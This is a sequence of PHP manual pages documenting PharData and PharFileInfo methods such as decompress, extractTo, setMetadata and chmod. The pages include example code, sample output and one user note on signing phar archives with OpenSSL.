PharData::decompress — Decompresses the entire Phar archive

Description

object PharData::decompress ([ string $extension ] )

For tar-based archives, this method decompresses the entire archive.

For Zip-based archives, this method fails with an exception. The zlib extension must be enabled to decompress an archive compressed with gzip compression, and the bzip2 extension must be enabled in order to decompress an archive compressed with bzip2 compression.

In addition, this method automatically renames the file extension of the archive, .tar by default. Alternatively, a file extension may be specified with the second parameter.

Parameters

extension

For decompressing, the default file extension is .phar.tar. Use this parameter to specify another file extension. Be aware that no non-executable archives cannot contain .phar in their filename.

Return Values

A PharData object is returned.

Errors/Exceptions

Throws BadMethodCallException if the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A PharData::decompress() example

<?php
$p = new PharData('/path/to/my.tar', 0, 'my.tar.gz');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p3 = $p2->decompress(); // creates /path/to/my.tar
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compressFiles() - Compresses all files in the current tar/zip archive
  • PharData::decompressFiles() - Decompresses all files in the current zip archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::copy
PharData::decompressFiles
PharData


Decompresses all files in the current zip archive

PharData::decompress
PharData::delMetadata
PharData
PHP Manual

PharData::decompressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::decompressFiles — Decompresses all files in the current zip archive

Description

bool PharData::decompressFiles ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use PharData::compress() to compress an entire tar-based archive.

For Zip-based archives, this method decompresses all files in the archive. The zlib or bzip2 extensions must be enabled to take advantage of this feature if any files are compressed using bzip2/zlib compression.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A PharData::decompressFiles() example

<?php
$p = new PharData('/path/to/my.zip');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::compressFiles() - Compresses all files in the current tar/zip archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::decompress
PharData::delMetadata
PharData


Deletes the global metadata of a zip archive

PharData::decompressFiles
PharData::delete
PharData
PHP Manual

PharData::delMetadata

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::delMetadata — Deletes the global metadata of a zip archive

Description

bool PharData::delMetadata ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Deletes the global metadata of the zip archive

Parameters

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A PharData::delMetaData() example

<?php
try {
    $phar = new PharData('myphar.zip');
    var_dump($phar->getMetadata());
    $phar->setMetadata("hi there");
    var_dump($phar->getMetadata());
    $phar->delMetadata();
    var_dump($phar->getMetadata());
} catch (Exception $e) {
    // handle errors
}
?>

The above example will output:

NULL
string(8) "hi there"
NULL

See Also

  • Phar::delMetadata() - Deletes the global metadata of the phar

User Contributed Notes

There are no user contributed notes for this page.
PharData::decompressFiles
PharData::delete
PharData


Delete a file within a tar/zip archive

PharData::delMetadata
PharData::extractTo
PharData
PHP Manual

PharData::delete

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::delete — Delete a file within a tar/zip archive

Description

bool PharData::delete ( string $entry )

Delete a file within an archive. This is the functional equivalent of calling unlink() on the stream wrapper equivalent, as shown in the example below.

Parameters

entry

Path within an archive to the file to delete.

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A PharData::delete() example

<?php
try {
    $phar = new PharData('myphar.zip');
    $phar->delete('unlink/me.php');
    // this is equivalent to:
    unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::delete() - Delete a file within a phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::delMetadata
PharData::extractTo
PharData


Extract the contents of a tar/zip archive to a directory

PharData::delete
PharData::isWritable
PharData
PHP Manual

PharData::extractTo

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::extractTo — Extract the contents of a tar/zip archive to a directory

Description

bool PharData::extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )

Extract all files within a tar/zip archive to disk. Extracted files and directories preserve permissions as stored in the archive. The optional parameters allow optional control over which files are extracted, and whether existing files on disk can be overwritten. The second parameter files can be either the name of a file or directory to extract, or an array of names of files and directories to extract. By default, this method will not overwrite existing files, the third parameter can be set to true to enable overwriting of files. This method is similar to ZipArchive::extractTo().

Parameters

pathto

Path within an archive to the file to delete.

files

The name of a file or directory to extract, or an array of files/directories to extract

overwrite

Set to TRUE to enable overwriting existing files

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A PharData::extractTo() example

<?php
try {
    $phar = new PharData('myphar.tar');
    $phar->extractTo('/full/path'); // extract all files
    $phar->extractTo('/another/path', 'file.txt'); // extract only file.txt
    $phar->extractTo('/this/path',
        array('file1.txt', 'file2.txt')); // extract 2 files only
    $phar->extractTo('/third/path', null, true); // extract all files, and overwrite
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::extractTo() - Extract the contents of a phar archive to a directory

User Contributed Notes

There are no user contributed notes for this page.
PharData::delete
PharData::isWritable
PharData


Returns true if the tar/zip archive can be modified

PharData::extractTo
PharData::offsetSet
PharData
PHP Manual

PharData::isWritable

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::isWritable — Returns true if the tar/zip archive can be modified

Description

bool PharData::isWritable ( void )

This method returns TRUE if the tar/zip archive on disk is not read-only. Unlike Phar::isWritable(), data-only tar/zip archives can be modified even if phar.readonly is set to 1.

Parameters

No parameters.

Return Values

Returns TRUE if the tar/zip archive can be modified

See Also

  • Phar::canWrite() - Returns whether phar extension supports writing and creating phars
  • Phar::isWritable() - Returns true if the phar archive can be modified

User Contributed Notes

There are no user contributed notes for this page.
PharData::extractTo
PharData::offsetSet
PharData


set the contents of a file within the tar/zip to those of an external file or string

PharData::isWritable
PharData::offsetUnset
PharData
PHP Manual

PharData::offsetSet

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::offsetSet — set the contents of a file within the tar/zip to those of an external file or string

Description

void PharData::offsetSet ( string $offset , string $value )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a tar/zip archive using array access brackets. offsetSet is used for modifying an existing file, or adding a new file to a tar/zip archive.

Parameters

offset

The filename (relative path) to modify in a tar or zip archive.

value

Content of the file.

Return Values

No return values.

Errors/Exceptions

Throws PharException if there are any problems flushing changes made to the tar/zip archive to disk.

Examples

Example #1 A PharData::offsetSet() example

offsetSet should not be accessed directly, but instead used via array access with the [] operator.

<?php
$p = new PharData('/path/to/my.tar');
try {
    // calls offsetSet
    $p['file.txt'] = 'Hi there';
} catch (Exception $e) {
    echo 'Could not modify file.txt:', $e;
}
?>

See Also

  • Phar::offsetSet() - set the contents of an internal file to those of an external file

User Contributed Notes

There are no user contributed notes for this page.
PharData::isWritable
PharData::offsetUnset
PharData


remove a file from a tar/zip archive

PharData::offsetSet
PharData::setAlias
PharData
PHP Manual

PharData::offsetUnset

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::offsetUnset — remove a file from a tar/zip archive

Description

bool PharData::offsetUnset ( string $offset )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a tar/zip archive using array access brackets. offsetUnset is used for deleting an existing file, and is called by the unset() language construct.

Parameters

offset

The filename (relative path) to modify in the tar/zip archive.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws PharException if there are any problems flushing changes made to the tar/zip archive to disk.

Examples

Example #1 A PharData::offsetUnset() example

<?php
$p = new PharData('/path/to/my.zip');
try {
    // deletes file.txt from my.zip by calling offsetUnset
    unset($p['file.txt']);
} catch (Exception $e) {
    echo 'Could not delete file.txt: ', $e;
}
?>

See Also

  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.
PharData::offsetSet
PharData::setAlias
PharData


dummy function (Phar::setAlias is not valid for PharData)

PharData::offsetUnset
PharData::setDefaultStub
PharData
PHP Manual

PharData::setAlias

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::setAlias — dummy function (Phar::setAlias is not valid for PharData)

Description

bool PharData::setAlias ( string $alias )

Non-executable tar/zip archives cannot have an alias, so this method simply throws an exception.

Parameters

alias

A shorthand string that this archive can be referred to in phar stream wrapper access. This parameter is ignored.

Return Values

Errors/Exceptions

Throws PharException on all method calls

See Also

  • Phar::setAlias() - Set the alias for the Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::offsetUnset
PharData::setDefaultStub
PharData


dummy function (Phar::setDefaultStub is not valid for PharData)

PharData::setAlias
Phar::setMetadata
PharData
PHP Manual

PharData::setDefaultStub

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::setDefaultStub — dummy function (Phar::setDefaultStub is not valid for PharData)

Description

bool PharData::setDefaultStub ([ string $index [, string $webindex ]] )

Non-executable tar/zip archives cannot have a stub, so this method simply throws an exception.

Parameters

index

Relative path within the phar archive to run if accessed on the command-line

webindex

Relative path within the phar archive to run if accessed through a web browser

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws PharException on all method calls

See Also

  • Phar::setDefaultStub() - Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

User Contributed Notes

There are no user contributed notes for this page.
PharData::setAlias
Phar::setMetadata
PharData


Sets phar archive meta-data

PharData::setDefaultStub
Phar::setSignatureAlgorithm
PharData
PHP Manual

Phar::setMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::setMetadata — Sets phar archive meta-data

Description

void Phar::setMetadata ( mixed $metadata )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Phar::setMetadata() should be used to store customized data that describes something about the phar archive as a complete entity. PharFileInfo::setMetadata() should be used for file-specific meta-data. Meta-data can slow down the performance of loading a phar archive if the data is large.

Some possible uses for meta-data include specifying which file within the archive should be used to bootstrap the archive, or the location of a file manifest like » PEAR's package.xml file. However, any useful data that describes the phar archive may be stored.

Parameters

metadata

Any PHP variable containing information to store that describes the phar archive

Return Values

No value is returned.

Examples

Example #1 A Phar::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello"';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'Could not create and/or modify phar:', $e;
}
?>

The above example will output:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.
PharData::setDefaultStub
Phar::setSignatureAlgorithm
PharData


set the signature algorithm for a phar and apply it. The

Phar::setMetadata
PharData::setStub
PharData
PHP Manual

Phar::setSignatureAlgorithm

(PHP >= 5.3.0, PECL phar >= 1.1.0)

Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it. The

Description

void Phar::setSignatureAlgorithm ( int $sigtype )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

set the signature algorithm for a phar and apply it. The signature algorithm must be one of Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, or Phar::PGP (pgp not yet supported and falls back to SHA-1).

Parameters

sigtype

    One of Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512, or Phar::PGP

Return Values

No value is returned.

Errors/Exceptions

Throws UnexpectedValueException for many errors, BadMethodCallException if called for a zip- or a tar-based phar archive, and a PharException if any problems occur flushing changes to disk.

See Also

  • Phar::getSupportedSignatures() - Return array of supported signature types
  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

User Contributed Notes

obsidian[at-nospam]codebite[dot]net 14-Jun-2011 02:06
As a note, the docs don't show the (optional) second parameter nor mention the existence of the Phar::OPENSSL class constant also available for use with this method.

To sign a phar with OpenSSL, for example...

<?php

$phar = new Phar('somephar.phar');
// ... add your files and such
$phar->setSignatureAlgorithm(Phar::OPENSSL, file_get_contents('private_key_here.pem'));
// ... do whatever else you want afterwards here ...
?>

Hope this proves useful to someone.
Phar::setMetadata
PharData::setStub
PharData


dummy function (Phar::setStub is not valid for PharData)

Phar::setSignatureAlgorithm
PharFileInfo
PharData
PHP Manual

PharData::setStub

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::setStub — dummy function (Phar::setStub is not valid for PharData)

Description

bool PharData::setStub ( string $stub )

Non-executable tar/zip archives cannot have a stub, so this method simply throws an exception.

Parameters

stub

A string or an open stream handle to use as the executable stub for this phar archive. This parameter is ignored.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws PharException on all method calls

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::setSignatureAlgorithm
PharFileInfo
PharData


The PharFileInfo class

(No version information available, might only be in SVN)

Introduction

The PharFileInfo class provides a high-level interface to the contents and attributes of a single file within a phar archive.

Class synopsis

PharFileInfo extends SplFileInfo {
/* Properties */
/* Methods */
void chmod ( int $permissions )
bool compress ( int $compression )
__construct ( string $entry )
bool decompress ( void )
bool delMetadata ( void )
int getCRC32 ( void )
int getCompressedSize ( void )
mixed getMetadata ( void )
int getPharFlags ( void )
bool hasMetadata ( void )
bool isCRCChecked ( void )
bool isCompressed ([ int $compression_type = 9021976 ] )
bool isCompressedBZIP2 ( void )
bool isCompressedGZ ( void )
bool setCompressedBZIP2 ( void )
bool setCompressedGZ ( void )
void setMetadata ( mixed $metadata )
bool setUncompressed ( void )
}

Table of Contents

  • PharFileInfo::chmod — Sets file-specific permission bits
  • PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::__construct — Construct a Phar entry object
  • PharFileInfo::decompress — Decompresses the current Phar entry within the phar
  • PharFileInfo::delMetadata — Deletes the metadata of the entry
  • PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified
  • PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file
  • PharFileInfo::getPharFlags — Returns the Phar file entry flags
  • PharFileInfo::hasMetadata — Returns the metadata of the entry
  • PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified
  • PharFileInfo::isCompressed — Returns whether the entry is compressed
  • PharFileInfo::isCompressedBZIP2 — Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressedGZ — Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2 — Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setCompressedGZ — Compresses the current Phar entry within the phar using gz compression
  • PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file
  • PharFileInfo::setUncompressed — Uncompresses the current Phar entry within the phar, if it is compressed

User Contributed Notes

There are no user contributed notes for this page.
PharData::setStub
PharFileInfo::chmod
Phar


Sets file-specific permission bits

PharFileInfo
PharFileInfo::compress
PharFileInfo
PHP Manual

PharFileInfo::chmod

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::chmod — Sets file-specific permission bits

Description

void PharFileInfo::chmod ( int $permissions )

PharFileInfo::chmod() allows setting of the executable file permissions bit, as well as read-only bits. Writeable bits are ignored, and set at runtime based on the phar.readonly INI variable. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Parameters

permissions

permissions (see chmod())

Return Values

No value is returned.

Examples

Example #1 A PharFileInfo::chmod() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar('brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.sh'] = '#!/usr/local/lib/php
    <?php echo "hi"; ?>';
    // set executable bit
    $p['file.sh']->chmod(0555);
    var_dump($p['file.sh']->isExecutable());
} catch (Exception $e) {
    echo 'Could not create/modify phar: ', $e;
}
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo
PharFileInfo::compress
PharFileInfo


Compresses the current Phar entry with either zlib or bzip2 compression

PharFileInfo::chmod
PharFileInfo::__construct
PharFileInfo
PHP Manual

PharFileInfo::compress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression

Description

bool PharFileInfo::compress ( int $compression )

This method compresses the file inside the Phar archive using either bzip2 compression or zlib compression. The bzip2 or zlib extension must be enabled to take advantage of this feature. In addition, if the file is already compressed, the respective extension must be enabled in order to decompress the file. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

Examples

Example #1 A PharFileInfo::compress() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCompressed(Phar::BZ2));
    $p['myfile.txt']->compress(Phar::BZ2);
    var_dump($file->isCompressed(Phar::BZ2));
} catch (Exception $e) {
    echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::chmod
PharFileInfo::__construct
PharFileInfo


Construct a Phar entry object

PharFileInfo::compress
PharFileInfo::decompress
PharFileInfo
PHP Manual

PharFileInfo::__construct

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::__construct — Construct a Phar entry object

Description

PharFileInfo::__construct ( string $entry )

This should not be called directly. Instead, a PharFileInfo object is initialized by calling Phar::offsetGet() through array access.

Parameters

entry

The full url to retrieve a file. If you wish to retrieve the information for the file my/file.php from the phar boo.phar, the entry should be phar://boo.phar/my/file.php.

Errors/Exceptions

Throws BadMethodCallException if __construct() is called twice. Throws UnexpectedValueException if the phar URL requested is malformed, the requested phar cannot be opened, or the file can't be found within the phar.

Examples

Example #1 A PharFileInfo::__construct() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['testfile.txt'] = "hi\nthere\ndude";
    $file = $p['testfile.txt'];
    foreach ($file as $line => $text) {
        echo "line number $line: $text";
    }
    // this also works
    $file = new PharFileInfo('phar:///path/to/my.phar/testfile.txt');
    foreach ($file as $line => $text) {
        echo "line number $line: $text";
    }
} catch (Exception $e) {
    echo 'Phar operations failed: ', $e;
}
?>

The above example will output:

line number 1: hi
line number 2: there
line number 3: dude
line number 1: hi
line number 2: there
line number 3: dude

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::compress
PharFileInfo::decompress
PharFileInfo


Decompresses the current Phar entry within the phar

PharFileInfo::__construct
PharFileInfo::delMetadata
PharFileInfo
PHP Manual

PharFileInfo::decompress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharFileInfo::decompress — Decompresses the current Phar entry within the phar

Description

bool PharFileInfo::decompress ( void )

This method decompresses the file inside the Phar archive. Depending on how the file is compressed, the bzip2 or zlib extensions must be enabled to take advantage of this feature. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

Examples

Example #1 A PharFileInfo::decompress() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    $file->compress(Phar::GZ);
    var_dump($file->isCompressed());
    $p['myfile.txt']->decompress();
    var_dump($file->isCompressed());
} catch (Exception $e) {
    echo 'Create/modify failed for my.phar: ', $e;
}
?>

The above example will output:

int(4096)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::__construct
PharFileInfo::delMetadata
PharFileInfo


Deletes the metadata of the entry

PharFileInfo::decompress
PharFileInfo::getCRC32
PharFileInfo
PHP Manual

PharFileInfo::delMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

PharFileInfo::delMetadata — Deletes the metadata of the entry

Description

bool PharFileInfo::delMetadata ( void )

Deletes the metadata of the entry, if any.

Parameters

No parameters.

Return Values

Returns TRUE if successful, FALSE if the entry had no metadata. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Errors/Exceptions

Throws PharException if errors occurred while flushing changes to disk, and BadMethodCallException if write access is disabled.

Examples

Example #1 A PharFileInfo::delMetaData() example

<?php
try {
    $a = new Phar('myphar.phar');
    $a['hi'] = 'hi';
    var_dump($a['hi']->delMetadata());
    $a['hi']->setMetadata('there');
    var_dump($a['hi']->delMetadata());
    var_dump($a['hi']->delMetadata());
} catch (Exception $e) {
    // handle errors
}
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::decompress
PharFileInfo::getCRC32
PharFileInfo


Returns CRC32 code or throws an exception if CRC has not been verified

PharFileInfo::delMetadata
PharFileInfo::getCompressedSize
PharFileInfo
PHP Manual

PharFileInfo::getCRC32

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified

Description

int PharFileInfo::getCRC32 ( void )

This returns the crc32() checksum of the file within the Phar archive.

Return Values

The crc32() checksum of the file within the Phar archive.

Errors/Exceptions

Throws BadMethodCallException if the file has not yet had its CRC32 verified. This should be impossible with normal use, as the CRC is verified upon opening the file for reading or writing.

Examples

Example #1 A PharFileInfo::getCRC32() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    echo $file->getCRC32();
} catch (Exception $e) {
    echo 'Write operations on my.phar.phar failed: ', $e;
}
?>

The above example will output:

3633523372

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::delMetadata
PharFileInfo::getCompressedSize
PharFileInfo


Returns the actual size of the file (with compression) inside the Phar archive

PharFileInfo::getCRC32
PharFileInfo::getMetadata
PharFileInfo
PHP Manual

PharFileInfo::getCompressedSize

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive

Description

int PharFileInfo::getCompressedSize ( void )

This returns the size of the file within the Phar archive. Uncompressed files will return the same value for getCompressedSize as they will with filesize()

Return Values

The size in bytes of the file within the Phar archive on disk.

Examples

Example #1 A PharFileInfo::getCompressedSize() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    echo $file->getCompressedSize();
} catch (Exception $e) {
    echo 'Write operations failed on my.phar: ', $e;
}
?>

The above example will output:

2

See Also

  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compressFiles() - Compresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharFileInfo::getCRC32
PharFileInfo::getMetadata
PharFileInfo


Returns file-specific meta-data saved with a file

PharFileInfo::getCompressedSize
PharFileInfo::getPharFlags
PharFileInfo
PHP Manual

PharFileInfo::getMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file

Description

mixed PharFileInfo::getMetadata ( void )

Return meta-data that was saved in the Phar archive's manifest for this file.

Parameters

Return Values

any PHP variable that can be serialized and is stored as meta-data for the file, or NULL if no meta-data is stored.

Examples

Example #1 A PharFileInfo::getMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.txt'] = 'hello';
    $p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
    var_dump($p['file.txt']->getMetadata());
} catch (Exception $e) {
    echo 'Could not create/modify brandnewphar.phar: ', $e;
}
?>

The above example will output:

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

See Also

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
